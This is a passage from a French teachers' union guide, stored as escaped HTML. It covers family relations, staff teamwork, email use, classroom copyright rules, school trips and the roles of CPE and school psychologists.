d\u00e9sint\u00e9r\u00eat apparent pour l\u2019\u00e9cole (ne suivent pas le travail, ne viennent pas aux r\u00e9unions)\u2026<\/p>\n<p>Il peut y avoir des liens entre la situation familiale et le parcours scolaire : les \u00e9l\u00e8ves pour qui le travail scolaire ne fait pas sens sont souvent issus de familles \u00e9loign\u00e9es de la culture scolaire, qui se sentent \u00ab tenues \u00e0 l\u2019\u00e9cart \u00bb dans tous les domaines, qui ont parfois accumul\u00e9 des ranc\u0153urs \u00e0 l\u2019\u00e9gard de l\u2019\u00c9cole, tout en conservant de fortes attentes. C\u2019est dans ces cas-l\u00e0 que le dialogue avec les familles est souvent difficile \u00e0 instaurer. L\u2019entr\u00e9e en force des outils num\u00e9riques (notes en ligne, cahier de textes num\u00e9rique, informations en ligne sur les r\u00e9unions voire sur les absences des professeurs\u2026) pose de nouveaux probl\u00e8mes. Ces outils permettent de communiquer rapidement avec les parents, mais ils renforcent l\u2019individualisme et le consum\u00e9risme des familles (les professeurs semblant ainsi mis \u00e0 leur disposition) et surtout les in\u00e9galit\u00e9s (nombreux sont ceux qui n\u2019ont pas acc\u00e8s \u00e0 ces outils et qui, du coup, se trouvent, une fois de plus, mis \u00e0 l\u2019\u00e9cart).<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td><strong>Que faire ?<\/strong><br \/>\n\u00c0 l\u2019\u00e9vidence, les enseignants ne peuvent agir sur certains facteurs. Les CPE peuvent fournir un \u00e9clairage sur les \u00adsituations familiales ou sociales et des entretiens en commun peuvent \u00eatre men\u00e9s. Il faut certes \u00adam\u00e9nager de vrais lieux pour recevoir les parents dans les \u00e9tablissements, mieux faire conna\u00eetre le fonctionnement des conseils de classe et du CA (o\u00f9 le r\u00f4le des repr\u00e9sentants est reconnu), proposer un travail sur le r\u00e8glement int\u00e9rieur\u2026 Mais tous ces am\u00e9nagements n\u2019auront que peu de poids, si un travail de fond n\u2019est pas men\u00e9 sur les pratiques et les programmes. Il s\u2019agit d\u2019avoir la volont\u00e9 d\u2019aller vers tous les parents, de rendre les \u00adparcours scolaires, les contenus, plus clairs, plus lisibles, plus accessibles, afin qu\u2019ils se sentent moins d\u00e9munis face au travail scolaire.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Le travail en \u00e9quipe : une n\u00e9cessit\u00e9, souvent instrumentalis\u00e9e dans une optique manag\u00e9riale<\/h4>\n<p><strong>L\u2019\u00e9quipe p\u00e9dagogique<\/strong> rassemble les professeurs d\u2019une m\u00eame classe. Elle peut se r\u00e9unir avec le CPE pour r\u00e9soudre les probl\u00e8mes concernant la classe, des \u00e9l\u00e8ves en particulier ou monter un projet.<\/p>\n<p><strong>L\u2019\u00e9quipe \u00e9ducative<\/strong> est constitu\u00e9e de l\u2019\u00e9quipe p\u00e9dagogique et des autres personnels intervenant aupr\u00e8s des \u00e9l\u00e8ves et des familles : CPE, assistante sociale, infirmi\u00e8re, m\u00e9decin scolaire, Psy-\u00c9N, assistant d\u2019\u00e9ducation.<\/p>\n<p><strong>Le conseil d\u2019enseignement<\/strong> est une instance de coordination des \u00adprofesseurs d\u2019une m\u00eame discipline, consult\u00e9e sur le choix des mat\u00e9riels techniques, des manuels, \u00e9ventuellement de progressions p\u00e9dagogiques ou de l\u2019organisation de devoirs communs au sein des classes d\u2019un m\u00eame niveau\u2026 Il peut aussi \u00eatre consult\u00e9 lors du renouvellement des programmes. En fin d\u2019ann\u00e9e, les conseils d\u2019enseignement sont r\u00e9unis pour proposer la r\u00e9partition des services entre les coll\u00e8gues de la m\u00eame \u00addiscipline pour l\u2019ann\u00e9e suivante.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td><strong>D\u00e9fendre les collectifs de travail face aux offensives manag\u00e9riales et pour sortir de l\u2019isolement professionnel <\/strong><br \/>\nTravailler en \u00e9quipe n\u00e9cessite du temps qui doit \u00eatre reconnu comme partie int\u00e9grante du service. Depuis 2001, le SNES-FSU a sign\u00e9 une convention de recherche avec le laboratoire de clinique de l\u2019activit\u00e9-psychologie du travail du CNAM (Conservatoire national des arts et m\u00e9tiers) pour analyser le r\u00f4le potentiel des collectifs de travail dans la reprise en main du m\u00e9tier. Ce collectif, dans un cadre bien d\u00e9fini, permet notamment d\u2019identifier les dilemmes de travail et les diff\u00e9rentes mani\u00e8res d\u2019y r\u00e9pondre. Il devient ainsi un lieu d\u2019\u00e9laboration de ressources collectives pour exercer son m\u00e9tier, pour s\u2019emparer des prescriptions et les mettre \u00e0 sa main, afin de pouvoir exercer pleinement sa libert\u00e9 p\u00e9dagogique et retrouver sa l\u00e9gitimit\u00e9 dans ses pratiques. Les acquis de cette recherche se traduisent aujourd\u2019hui concr\u00e8tement par l\u2019\u00e9laboration d\u2019un outil syndical : des stages syndicaux acad\u00e9miques sont organis\u00e9s sur ces questions, afin de mettre en place ces collectifs m\u00e9tier, l\u00e0 o\u00f9 des professeurs, CPE ou Psy-\u00c9N volontaires le souhaitent. Ceux-ci existent d\u00e9j\u00e0 dans plusieurs acad\u00e9mies.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p>Le projet de fermeture de presque tous les CIO menace gravement les collectifs de travail des Psy-\u00c9N. Lieux ressource et d\u2019\u00e9changes entre coll\u00e8gues, les CIO sont un outil indispensable aux Psy-\u00c9N pour fonctionner.<\/p>\n<h5 class=\"has-vivid-red-color has-text-color\"><strong>Communiquer par messagerie<\/strong><\/h5>\n<p><strong>Suis-je oblig\u00e9 d\u2019utiliser mon adresse professionnelle en ac-acad\u00e9mie.fr ?<\/strong><\/p>\n<p>Non, mais nous vous le conseillons dans le cadre de vos \u00e9changes avec l\u2019administration. Vous pouvez faire transf\u00e9rer automatiquement son contenu vers une autre adresse (attention, quand vous r\u00e9pondrez, si vous voulez conserver cette autre adresse confidentielle). Elle n\u2019offre aucune protection particuli\u00e8re si vous l\u2019utilisez avec parents et \u00e9l\u00e8ves.<\/p>\n<p><strong>Puis-je communiquer par messagerie avec les \u00e9l\u00e8ves ?<\/strong><\/p>\n<p>Oui, sans probl\u00e8me, si celle-ci est incluse dans un ENT (les parents sont inform\u00e9s par la charte informatique). Sinon, il faut obtenir l\u2019autorisation des parents d\u2019\u00e9l\u00e8ves mineurs et en informer l\u2019administration. C\u2019est aussi valable pour les blogs, qu\u2019il faut \u00adchoisir dans un cadre institutionnel pour limiter les d\u00e9rives possibles (protection des donn\u00e9es scolaires dont les r\u00e8gles ont chang\u00e9 en mai\u00a02018 avec l\u2019entr\u00e9e en vigueur du RGPD \u2013 R\u00e8glement g\u00e9n\u00e9ral de protection des donn\u00e9es).<\/p>\n<p><strong>Et avec les parents ? <\/strong>C\u2019est possible, mais rien ne vaut un rendez-vous.<\/p>\n<p>Dans tous les cas, privil\u00e9gier les outils de communication de l\u2019ENT si l\u2019\u00e9tablissement en a un. Et ne pas oublier qu\u2019il n\u2019y a aucune obligation \u00e0 communiquer ainsi : le carnet de correspondance n\u2019est pas aboli.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">Photocopies, vid\u00e9os\u2026 et droits d\u2019auteurs<\/h4>\n<h5 class=\"has-vivid-red-color has-text-color\">Copies de publications<\/h5>\n<p>Gr\u00e2ce aux accords sign\u00e9s entre le minist\u00e8re et les soci\u00e9t\u00e9s repr\u00e9sentants les auteurs et les \u00e9diteurs (dont le CFC), les professeurs ont le droit d\u2019utiliser, dans le cadre de leurs cours, la reproduction de tout type d\u2019\u0153uvres prot\u00e9g\u00e9es (les droits de copie pay\u00e9s sont pris en charge par l\u2019\u00c9tat).<\/p>\n<p>Il est possible d\u2019utiliser des textes et des images, issus de livres, p\u00e9riodiques ou sites internet, ainsi que des partitions musicales, qu\u2019il s\u2019agisse d\u2019\u0153uvres fran\u00e7aises ou \u00e9trang\u00e8res, se pr\u00e9sentant sur support imprim\u00e9 ou num\u00e9rique.<\/p>\n<p>Ces copies peuvent \u00eatre faites sur support papier (photocopie, impression) ou sur support num\u00e9rique (scan, ressaisie, copier-coller\u2026).<\/p>\n<p>Mais l\u2019enseignant doit respecter les conditions suivantes :<\/p>\n<p>\u2022 <strong>copier uniquement des extraits d\u2019\u0153uvres<\/strong> (maximum de 10\u00a0%), la copie int\u00e9grale est possible pour les images, articles de presse, po\u00e8mes\u2026\u00a0;<\/p>\n<p>\u2022 <strong>diffuser ces copies \u00e0 ses seuls \u00e9l\u00e8ves <\/strong>(pas de mise en ligne sur internet) par tout moyen \u00e0 sa disposition (vid\u00e9oprojecteur, r\u00e9seau interne de l\u2019\u00e9tablissement, courriel\u2026)\u00a0;<\/p>\n<p>\u2022 <strong>indiquer les r\u00e9f\u00e9rences de l\u2019\u0153uvre copi\u00e9e<\/strong> (titre, auteur, \u00e9diteur) ;<\/p>\n<p>\u2022 <strong>participer \u00e0 une enqu\u00eate<\/strong>, lorsque son \u00e9tablissement est sollicit\u00e9 (ces informations permettent de reverser les droits de copie aux auteurs et \u00e9diteurs des \u0153uvres effectivement utilis\u00e9es).<\/p>\n<h5 class=\"has-vivid-red-color has-text-color\">Construction d\u2019un site Internet<\/h5>\n<p>Les r\u00e8gles de droits d\u2019auteur s\u2019appliquent aussi \u00e0 toute int\u00e9gration dans un site Internet d\u2019une page prise sur un autre site. De plus, toute \u00adutilisation de blog ou de site \u00e0 destination des \u00e9l\u00e8ves doit \u00eatre d\u00e9clar\u00e9e au chef d\u2019\u00e9tablissement (qui peut s\u2019y opposer en demandant d\u2019utiliser des ressources propres \u00e0 l\u2019EN). En cas de publication de documents en ligne, penser \u00e0 utiliser une licence de type Creative Commons, qui d\u00e9finit les droits relatifs au document.<\/p>\n<h5 class=\"has-vivid-red-color has-text-color\">Utilisation de vid\u00e9os<\/h5>\n<p><strong>Peut-on l\u00e9galement utiliser une copie grav\u00e9e d\u2019un disque dans le cadre de la classe ?<\/strong><\/p>\n<p>\u2022 Oui, uniquement si c\u2019est une copie de travail destin\u00e9e \u00e0 \u00e9viter d\u2019endommager le CD que vous ou votre \u00e9tablissement poss\u00e9dez l\u00e9galement.<\/p>\n<p><strong>Peut-on l\u00e9galement utiliser une vid\u00e9o en classe ?<\/strong><\/p>\n<p>\u2022 Oui, si le DVD est libre de droits, par exemple, les vid\u00e9os du CNDP ou certains programmes de France 5, ou certaines ressources sur \u00c9duth\u00e8que.<\/p>\n<p>\u2022 Oui, si l\u2019\u00e9tablissement s\u2019est acquitt\u00e9 des droits. Les achats doivent \u00eatre effectu\u00e9s aupr\u00e8s d\u2019organismes que le rectorat devrait pouvoir vous indiquer. Voir aussi la gazette de l\u2019association \u00ab\u00a0Ateliers diffusion audiovisuelle (ADAV) \u00bb. Cette association cr\u00e9\u00e9e avec le soutien des diff\u00e9rents minist\u00e8res poss\u00e8de un catalogue regroupant des programmes audiovisuels, dont des \u0153uvres cin\u00e9matographiques accessibles en consultation.<\/p>\n<p>\u2022 Il y a une tol\u00e9rance si le programme diffus\u00e9 l\u2019est \u00e0 titre d\u2019illustration d\u2019un cours et directement en rapport avec ce cours, et s\u2019il s\u2019agit d\u2019un extrait (droit de citation p\u00e9dagogique).<\/p>\n<p><strong>Peut-on l\u00e9galement utiliser des \u00e9missions enregistr\u00e9es sur des cha\u00eenes \u00e9trang\u00e8res ?<\/strong><\/p>\n<p>L\u2019utilisation de cha\u00eenes de t\u00e9l\u00e9vision en langue \u00e9trang\u00e8re diffus\u00e9es par le c\u00e2ble ou le satellite est autoris\u00e9e dans la mesure o\u00f9 les \u00e9missions sont montr\u00e9es en direct. Elles peuvent aussi l\u2019\u00eatre en diff\u00e9r\u00e9 \u00e0 condition que l\u2019extrait n\u2019exc\u00e8de pas 1 min 30 et soit utilis\u00e9 dans les 8 jours qui suivent sa diffusion. Si ces ressources viennent d\u2019Internet, elles ne sont pas concern\u00e9es par l\u2019exception p\u00e9dagogique et donc soumises aux droits d\u2019auteurs. Il est interdit de constituer des banques de donn\u00e9es d\u2019extraits sauf si vous les d\u00e9clarez et n\u00e9gociez les droits d\u2019auteurs.<\/p>\n<p>Sur l\u2019ensemble de ces questions : voir site <a href=\"https:\/\/eduscol.education.fr\/index.php?.\/D0011\/LLPDPR01.htm\">Eduscol<\/a> (textes r\u00e9glementaires et aspects juridiques).<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Il serait temps d\u2019adapter la l\u00e9gislation \u00e0 la r\u00e9alit\u00e9 de l\u2019\u00e9volution des programmes et des pratiques p\u00e9dagogiques. Les coll\u00e8gues et les \u00e9l\u00e8ves doivent \u00eatre inform\u00e9s des risques personnels encourus s\u2019ils ne respectent pas la l\u00e9gislation actuelle. Attention, c\u2019est dans la grande majorit\u00e9 des cas votre responsabilit\u00e9 personnelle qui est engag\u00e9e et vous ne serez en aucun cas prot\u00e9g\u00e9 par l\u2019administration. Les amendes sont \u00e9lev\u00e9es. De m\u00eame les coll\u00e8gues devraient savoir comment prot\u00e9ger leurs cr\u00e9ations (par exemple avec les licences Creative Commons).<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Les sorties et les voyages scolaires<\/h4>\n<p>Il faut distinguer :<\/p>\n<p>\u2022 <strong>les sorties scolaires obligatoires,<\/strong> qui s\u2019inscrivent dans le cadre des programmes officiels d\u2019enseignement ou des dispositifs d\u2019accompagnement obligatoires, et qui ont lieu pendant les horaires pr\u00e9vus \u00e0 l\u2019emploi du temps des \u00e9l\u00e8ves (donc sans nuit\u00e9e) et doivent \u00eatre gratuites ;<\/p>\n<p>\u2022 <strong>les sorties scolaires facultatives<\/strong> s\u2019inscrivent plus largement dans le cadre de l\u2019action \u00e9ducative de l\u2019\u00e9tablissement. Elles ont lieu en totalit\u00e9 ou en partie pendant le temps scolaire. Les voyages scolaires, sont des \u00adsorties scolaires facultatives comprenant une ou plusieurs nuit\u00e9es. Les modalit\u00e9s d\u2019autorisation et d\u2019encadrement sont pr\u00e9cis\u00e9es dans la \u00ad<a href=\"https:\/\/www.education.gouv.fr\/bo\/11\/Hebdo30\/MENE1118531C.htm\">circulaire n\u00b0 2011-117 du 3\/08\/2011<\/a> modifi\u00e9e par la <a href=\"https:\/\/www.education.gouv.fr\/bo\/13\/Hebdo29\/MENE1316483C.htm\">circulaire n\u00b0 2013-106 du 16\/07\/2013<\/a>.<\/p>\n<p class=\"has-black-color has-text-color\"><strong>Le projet de sortie ou voyage<\/strong> doit \u00eatre pr\u00e9sent\u00e9 et vot\u00e9 au CA : il est donc n\u00e9cessaire de s\u2019y prendre \u00e0 l\u2019avance. Ce projet doit contenir les objectifs p\u00e9dagogiques et \u00e9ducatifs pr\u00e9cis, les modalit\u00e9s pratiques et financi\u00e8res.<\/p>\n<p class=\"has-black-color has-text-color\"><strong>Les voyages sont pay\u00e9s<\/strong> par les familles et peuvent \u00eatre subventionn\u00e9s par des aides de la mairie, du d\u00e9partement, de la r\u00e9gion\u2026 Les accompagnateurs ne doivent en aucun cas payer eux-m\u00eames leur voyage : ils ont un ordre de mission d\u00e9livr\u00e9 par le chef d\u2019\u00e9tablissement. Mais, pour des raisons de gratuit\u00e9 \u00e0 l\u2019\u00e9gard des familles, le co\u00fbt des accompagnateurs ne peut \u00eatre \u00e0 la charge de ces derni\u00e8res. Il faut donc pr\u00e9voir au budget une subvention particuli\u00e8re finan\u00e7ant ce co\u00fbt : sur les fonds de l\u2019\u00e9tablissement, par subvention sp\u00e9cifique des collectivit\u00e9s locales, des associations, ou autres dons et aides, en veillant \u00e0 ce qu\u2019ils respectent les principes du service public d\u2019\u00e9ducation. Il peut \u00eatre fait appel au fonds social coll\u00e9gien ou lyc\u00e9en pour aider certaines familles.<\/p>\n<p><strong>Dur\u00e9e<\/strong> : pas au-del\u00e0 de \u00ab cinq jours pris sur le temps scolaire \u00bb, \u00e9changes et appariements mis \u00e0 part.<\/p>\n<p><strong>L\u2019autorisation est ensuite d\u00e9livr\u00e9e par le chef d\u2019\u00e9tablissement<\/strong> qui d\u00e9termine aussi le nombre d\u2019accompagnateurs. Il n\u2019existe pas de norme pour le second degr\u00e9 contrairement au 1er degr\u00e9 mais dans la pratique on pr\u00e9voit un accompagnateur au minimum pour 12 \u00e0 15 \u00e9l\u00e8ves, plus si les conditions sont particuli\u00e8rement contraignantes.<\/p>\n<p><strong>Le r\u00e8glement int\u00e9rieur de l\u2019\u00e9tablissement s\u2019applique<\/strong> aux sorties et voyages puisqu\u2019il s\u2019agit d\u2019activit\u00e9s p\u00e9dagogiques, mais des r\u00e8gles et consignes sp\u00e9cifiques peuvent \u00eatre donn\u00e9es et doivent \u00eatre accept\u00e9es par \u00e9crit par les \u00e9l\u00e8ves et les familles.<\/p>\n<p><strong>L\u2019autorisation \u00e9crite des parents est obligatoire<\/strong> pour les \u00e9l\u00e8ves mineurs. Il convient aussi de demander l\u2019accord de prendre les \u00e9l\u00e8ves en photo en pr\u00e9cisant le cadre dans lequel elles seront utilis\u00e9es.<\/p>\n<p><strong>Attention, dans le cadre des mesures \u00ab Vigipirate \u00bb<\/strong>, obligation est faite aux \u00e9coles et aux EPLE de signaler, en amont, ces voyages \u00e0 l\u2019autorit\u00e9 acad\u00e9mique. En lien avec les pr\u00e9fets, le rectorat pourra interdire un voyage, si les conditions de s\u00e9curit\u00e9 ne sont pas remplies.<\/p>\n<p><strong>Il y a une responsabilit\u00e9 civile et p\u00e9nale des accompagnateurs.<\/strong><\/p>\n<p>Les sorties et voyages scolaires facultatifs sont\u2026 facultatifs. Certains chefs d\u2019\u00e9tablissement tentent d\u2019imposer des conditions inacceptables de mise en place (encadrement insuffisant, rattrapage des heures \u00ab d\u2019absence devant \u00e9l\u00e8ves \u00bb, etc.) : l\u2019\u00e9quipe p\u00e9dagogique organisatrice doit \u00eatre soud\u00e9e et vigilante \u00e0 ne pas se laisser imposer des conditions qu\u2019elle juge inadapt\u00e9es au bon d\u00e9roulement de la sortie\/voyage.<\/p>\n<p>En cette ann\u00e9e 2020-2021, les questions sanitaires pourraient contraindre et modifier le cadre des voyages scolaires (\u00e9pid\u00e9mie de Covid-19). Il convient de se tourner vers les sections acad\u00e9miques ou d\u00e9partementales en cas d\u2019interrogations.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-11\"><\/a><em>Le m\u00e9tier de CPE<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">Les CPE, une sp\u00e9cificit\u00e9 fran\u00e7aise<\/h4>\n<p>Les CPE partagent au quotidien avec les professeurs le suivi p\u00e9dagogique et \u00e9ducatif des \u00e9l\u00e8ves. Le m\u00e9tier de conseiller principal d\u2019\u00e9ducation est une originalit\u00e9 du syst\u00e8me \u00e9ducatif fran\u00e7ais. N\u00e9 dans les ann\u00e9es 1970, il s\u2019est \u00adenrichi, dans les ann\u00e9es 1980, d\u2019une d\u00e9finition ambitieuse de la vie scolaire qui vise \u00e0 \u00ab placer les adolescents dans les meilleures conditions de vie individuelle et collective et d\u2019\u00e9panouissement personnel\u00a0\u00bb. Form\u00e9s et recrut\u00e9s comme les professeurs dans les INSP\u00c9, les CPE sont en lien \u00e9troit avec les autres personnels de la communaut\u00e9 \u00e9ducative et les familles. Outre les professeurs et les assistants d\u2019\u00e9ducation, ils travaillent r\u00e9guli\u00e8rement avec les personnels, en particulier les Psychologues de \u00adl\u2019\u00c9ducation nationale (Psy-\u00c9N), les infirmi\u00e8res et les assistants sociaux. La nouvelle circulaire de missions du 10 ao\u00fbt 2015, \u00e0 laquelle le SNES-FSU a largement contribu\u00e9, conforte le CPE dans son c\u0153ur de m\u00e9tier \u00ab\u00a0l\u2019\u00e9ducation et le suivi des \u00e9l\u00e8ves\u00a0\u00bb, et renforce son identit\u00e9 professionnelle en inscrivant que \u00ab\u00a0Les CPE sont concepteurs de leur activit\u00e9\u00a0\u00bb. Une clari\u00adfication est aussi apport\u00e9e quant \u00e0 l\u2019organisation du temps de travail \u00ab\u00a035 heures hebdomadaires, inscrites dans leur emploi du temps\u00a0\u00bb. Cette circulaire comprend trois domaines de responsabilit\u00e9 :<\/p>\n<p>\u2022 <strong>la politique \u00e9ducative<\/strong> : partie int\u00e9grante du projet d\u2019\u00e9tablissement au c\u00f4t\u00e9 du volet p\u00e9dagogique, elle concerne toute la communaut\u00e9 \u00e9ducative. Le CPE contribue \u00e0 son \u00e9laboration et \u00e0 sa mise en \u0153uvre sans en \u00eatre le seul concepteur et acteur. Elle concerne l\u2019appropriation des r\u00e8gles de vie collective, la pr\u00e9paration des \u00e9l\u00e8ves \u00e0 l\u2019exercice de leur citoyennet\u00e9, au d\u00e9veloppement de leur autonomie et de leur insertion dans la vie sociale et professionnelle ;<\/p>\n<p>\u2022 <strong>le suivi des \u00e9l\u00e8ves<\/strong> : sur le plan p\u00e9dagogique et \u00e9ducatif, individuel et collectif. Il implique des \u00e9changes d\u2019information avec les professeurs et l\u2019\u00e9quipe pluriprofessionnelle sur le comportement et l\u2019activit\u00e9 de l\u2019\u00e9l\u00e8ve, ses r\u00e9sultats, ses conditions de travail qui permettent la prise en charge globale de l\u2019\u00e9l\u00e8ve dans l\u2019identification de ses difficult\u00e9s \u00e9ventuelles et des solutions pour les surmonter. Le r\u00f4le des CPE aupr\u00e8s des familles y est aussi privil\u00e9gi\u00e9 ;<\/p>\n<p>\u2022 <strong>l\u2019organisation de la vie scolaire<\/strong> : elle concerne les espaces et le temps scolaires en dehors des temps de classe. Les CPE contribuent avec l\u2019\u00e9quipe des AED \u00e0 la qualit\u00e9 du climat scolaire. Ils jouent un r\u00f4le dans la pr\u00e9vention et la gestion des conflits, ils privil\u00e9gient le dialogue et la m\u00e9diation, une approche des sanctions comme r\u00e9paration. Les CPE animent l\u2019\u00e9quipe de vie scolaire qui regroupe les AED. Ils organisent leur emploi du temps.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-subtle-pale-green-background-color has-background\">\n<tbody>\n<tr>\n<td>Le recrutement CPE (340 postes en 2020) est tr\u00e8s insuffisant pour couvrir les besoins en postes et remplacements. L\u2019effectif de nouveaux CPE titulaires n\u2019est pas suffisant pour remplacer les sorties du corps. Alors que le nombre d\u2019\u00e9l\u00e8ve augmente en coll\u00e8ge et lyc\u00e9e, aucune cr\u00e9ation d\u2019emploi suppl\u00e9mentaire n\u2019est r\u00e9alis\u00e9e depuis 2018. L\u2019am\u00e9lioration des conditions de travail passe par un taux d\u2019encadrement revu \u00e0 la baisse (objectif d\u2019un CPE pour 250 \u00e9l\u00e8ves) et un travail collectif facilit\u00e9. La carri\u00e8re et l\u2019\u00e9valuation sont redessin\u00e9es avec de r\u00e9elles avanc\u00e9es, m\u00eames si elles sont en retrait par rapport \u00e0 nos revendications. Le SNES-FSU reste vigilant pour que l\u2019avanc\u00e9e vers la double \u00e9valuation ouvre aussi la porte \u00e0 une inspection sp\u00e9cifique CPE. Issue du corps, elle serait par la construction progressive d\u2019une r\u00e9elle expertise du m\u00e9tier, \u00e0 m\u00eame de prot\u00e9ger les CPE des d\u00e9rives toujours possible du management local.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<h4 class=\"has-vivid-red-color has-text-color\">Leur place et leurs pratiques<\/h4>\n<p>Membres \u00e0 part enti\u00e8re des \u00e9quipes \u00e9ducatives, les CPE n\u2019ont aucun r\u00f4le hi\u00e9rarchique par rapport aux professeurs. Le r\u00e9f\u00e9rentiel (1\/07\/2013) d\u00e9finit des comp\u00e9tences communes aux professeurs et CPE et des comp\u00e9tences sp\u00e9cifiques. Ils sont associ\u00e9s aux \u00e9quipes p\u00e9dagogiques pour assurer le suivi individuel des \u00e9l\u00e8ves et proc\u00e9der \u00e0 leur \u00e9valuation. Ils participent de plein droit au conseil de classe. Associ\u00e9s \u00e0 l\u2019orientation des \u00e9l\u00e8ves, ils participent \u00e0 l\u2019\u00e9laboration du projet de l\u2019\u00e9l\u00e8ve. Le travail en commun entre professeurs et CPE, l\u2019\u00e9change d\u2019informations qui en r\u00e9sulte, est un \u00e9l\u00e9ment pour une prise en charge plus efficace de l\u2019\u00e9l\u00e8ve et pour aider \u00e0 sa r\u00e9ussite scolaire. Les CPE ont une connaissance globale des \u00e9l\u00e8ves, en particulier de leur environnement social et familial.<\/p>\n<h4 class=\"has-vivid-red-color has-text-color\">La vie de la classe<\/h4>\n<p>Le CPE participe \u00e0 l\u2019organisation des \u00e9lections des d\u00e9l\u00e9gu\u00e9s \u00e9l\u00e8ves et \u00e0 leur formation ainsi qu\u2019au d\u00e9veloppement de la participation des \u00e9l\u00e8ves \u00e0 la vie de leur \u00e9tablissement. Ce type d\u2019activit\u00e9 peut impliquer des \u00e9quipes de CPE et professeurs : elle est toujours une exp\u00e9rience enrichissante. Le CPE peut participer avec le professeur principal \u00e0 l\u2019animation de l\u2019heure de vie de classe. Quand le climat de classe, propice aux apprentissages, est d\u00e9grad\u00e9, il peut aussi rechercher avec l\u2019\u00e9quipe p\u00e9dagogique les moyens de le restaurer. Mais c\u2019est sans doute dans la prise en charge des cas individuels que s\u2019exprime le plus l\u2019int\u00e9r\u00eat d\u2019un travail en commun. Lorsqu\u2019on s\u2019interroge \u00e0 propos de l\u2019attitude d\u2019un \u00e9l\u00e8ve qu\u2019elle soit scolaire ou non \u2014 fatigue, apathie, refus scolaire, signes de violences, etc. \u2014, il ne faut pas h\u00e9siter \u00e0 mettre \u00e0 profit les rencontres formelles ou informelles pour \u00e9changer avec le CPE, souvent un des premiers acteurs en contact avec l\u2019\u00e9l\u00e8ve. M\u00eame s\u2019il ne peut conna\u00eetre chacun en particulier, il est le t\u00e9moin de l\u2019\u00e9volution de l\u2019enfant au cours de sa scolarit\u00e9. Il est aussi susceptible d\u2019entretenir des liens avec la famille ou le responsable l\u00e9gal. Le travail en collaboration ne va pas toujours de soi mais c\u2019est surtout une question de pratique, de confiance r\u00e9ciproque et de respect des domaines de comp\u00e9tences, qualifications et statut de chacun. Lorsqu\u2019un comportement scolaire se d\u00e9grade gravement, il est par exemple possible de recevoir conjointement l\u2019\u00e9l\u00e8ve et sa famille afin de marquer la coh\u00e9sion \u00e9ducative de l\u2019\u00e9quipe et de chercher ensemble des solutions.<\/p>\n<h3 class=\"has-vivid-green-cyan-color has-text-color\"><a name=\"menu-12\"><\/a><em>Le m\u00e9tier de Psy-\u00c9N Dans le second degr\u00e9<\/em><\/h3>\n<h4 class=\"has-vivid-red-color has-text-color\">Trois aspects indissociables<\/h4>\n<p><strong>\u279c En direction des enfants et des adolescents<\/strong><\/p>\n<p>Selon l\u2019article 3, les missions visent clairement le d\u00e9veloppement psychologique, cognitif et social. Les Psy-\u00c9N doivent \u00ab contribuer par leur expertise \u00e0 la r\u00e9ussite scolaire de tous les \u00e9l\u00e8ves, \u00e0 la lutte contre les effets des in\u00e9galit\u00e9s sociales et \u00e0 l\u2019acc\u00e8s des jeunes \u00e0 une qualification en vue de leur insertion professionnelle \u00bb.<\/p>\n<p>La circulaire de missions pr\u00e9cise leur r\u00f4le dans \u00ab l\u2019accompagnement visant \u00e0 la r\u00e9ussite et \u00e0 l\u2019\u00e9panouissement des publics dont ils ont la charge \u00bb en \u00adparticulier par la prise en compte \u00ab des publics n\u00e9cessitant une attention particuli\u00e8re et approfondie, rencontrant des difficult\u00e9s ou en situation de handicap \u00bb. Les Psy-\u00c9N \u00ab conduisent des entretiens permettant l\u2019analyse des situations, dans l\u2019objectif de mieux d\u00e9finir les besoins des publics dont ils ont la charge ; r\u00e9alisent des bilans psychologiques appropri\u00e9s pour \u00e9clairer les probl\u00e9matiques soulev\u00e9es, \u00e9laborent et construisent des modalit\u00e9s de suivi psychologique adapt\u00e9es \u00bb.<\/p>\n<p><strong>\u279c En direction des \u00e9quipes<\/strong><\/p>\n<p>Elles portent sur \u00ab la conception des r\u00e9ponses p\u00e9dagogiques \u00bb et \u00ab des modalit\u00e9s d\u2019aide et de suivi individuelles ou collectives n\u00e9cessaires \u00bb, concernent la participation \u00ab aux \u00e9quipes de suivi de scolarisation, \u00e0 l\u2019\u00e9laboration des PPS des \u00e9l\u00e8ves et des \u00e9tudiants \u00bb et \u00ab apportent un soutien aux \u00e9quipes p\u00e9dagogiques et \u00e9ducatives en situation de crise \u00bb.<\/p>\n<p><strong>\u279c En direction de l\u2019institution<\/strong><\/p>\n<p>Les Psy-\u00c9N doivent \u00ab promouvoir les initiatives en mati\u00e8re de pr\u00e9vention des ph\u00e9nom\u00e8nes de violence, de lutte contre les discriminations et de promotion de l\u2019\u00e9galit\u00e9 notamment entre les filles et les gar\u00e7ons \u00bb ; ils \u00ab apportent une expertise aux diff\u00e9rentes instances (MDPH, CDOEA), travaillent en coordination avec les professionnels des services m\u00e9dico-sociaux, dans ou hors de l\u2019\u00c9N \u00bb et \u00ab contribuent \u00e0 la formation professionnelle initiale et continue des personnels de l\u2019\u00c9N \u00bb.<\/p>\n<p>Leur r\u00f4le de conseil aupr\u00e8s des chefs d\u2019\u00e9tablissement est r\u00e9affirm\u00e9 notamment par \u00ab l\u2019aide \u00e0 l\u2019analyse des situations \u00e9ducatives et des parcours \u00bb.<\/p>\n<p>La red\u00e9finition des missions des Psy-\u00c9N ne s\u2019est pas accompagn\u00e9e de cr\u00e9ations de postes. Depuis plus de 20 ans, leur nombre n\u2019a pas \u00e9volu\u00e9 ! Alors qu\u2019une certaine reprise du recrutement de Psy-\u00c9N permettait, en 2018, \u00add\u2019esp\u00e9rer une diminution du nombre de contractuels (qui repr\u00e9sentent pr\u00e8s du tiers des personnels), mais depuis 2019 